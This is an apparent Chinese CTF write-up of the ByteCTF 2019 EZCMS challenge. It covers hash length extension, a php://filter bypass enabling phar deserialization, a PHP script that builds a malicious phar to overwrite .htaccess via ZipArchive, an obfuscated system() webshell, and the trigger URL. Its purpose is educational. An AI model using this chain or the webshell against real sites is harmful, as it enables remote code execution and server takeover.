zoukankan      html  css  js  c++  java
  • [ByteCTF 2019]EZCMS

    0x00 知识点

    源码泄露

    www.zip获取源码

    哈希长度扩展攻击

    hashpumpy.hashpump("52107b08c0f3342d2153ae1d68e6262c","adminadmin","a",8)
    

    链接:
    https://www.cnblogs.com/pcat/p/5478509.html

    php://filter绕过正则实现phar反序列化

    链接:
    https://xi4or0uji.github.io/2019/09/11/2019-bytectf-wp/

    https://xz.aliyun.com/t/6324#toc-2

    审计发现一个phar反序列化点

    view.php中

    $file = new File($file_name, $file_path);
    

    长传文件后发现有个被输出的 .htaccess,导致无法正常解析

    跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。

    preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)
    

    bypass:
    php://filter/read=convert.base64-encode/resource=phar://./z.phar
    两种攻击思路:

    1:通过触发上传来移动文件,或者清掉.htaccess
    2:通过反序列化文件覆盖,能够使用的有一个内置类 ZipArchive->open,如果达到任意文件内容覆盖需要一个 open 函数,可发现
    
     function __call($name, $arguments) { $this->admin->open($this->username, $this->password); }
    

    刚好有个魔术函数,两个参数也符合。
    exp:

    <?php
    
    class File{
    
    
    
    
        public $filename;
    
        public $filepath;
    
        public $checker;
    
    
    
    
        function __construct($filename, $filepath)
    
        {
    
            $this->filepath = $filepath;
    
            $this->filename = $filename;
    
        }
    
    }
    
    class Profile{
    
    
    
    
        public $username;
    
        public $password;
    
        public $admin;
    
    }
    
    $a = new File("altman","altman");
    
    $a->checker = new Profile();
    
    $a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";
    
    $a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
    
    $a->checker->admin = new ZipArchive();
    
    echo serialize($a);
    
    $phar = new Phar("1.phar");
    
    $phar->startBuffering();
    
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    
    $phar->setMetadata($a); 
    
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    
    $phar->stopBuffering();
    
    ?>
    

    触发反序列化漏洞就用php://filter去绕过

    构造好后先上传一个简单马,需要绕过黑名单

    <?php
    
    $a="syste";
    
    $b="m";
    
    $c=$a.$b;
    
    $d=$c($_REQUEST['a']);
    
    ?>
    

    然后将生成的phar上传,利用filter绕过对phar的过滤

    /view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt
    

    触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。直接访问沙盒下第一个上传的php文件,拿到shell。

    参考链接:https://xi4or0uji.github.io/2019/09/11/2019-bytectf-wp/

    https://xz.aliyun.com/t/6324#toc-2

  • 相关阅读:
    Alone
    vue父组件中调用子组件的方法
    常用CSS的布局问题;
    Flex语法和常用鼠标手势
    如何解决浮动元素高度塌陷---CSS
    Vue中使用 iview 之-踩坑日记
    路由懒加载---Vue Router
    <input type="file">如何实现自定义样式
    sticky -- position定位属性sticky值之粘性定位;
    Vue组件传值(三)之 深层嵌套组件传值
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12300707.html
Copyright © 2011-2022 走看看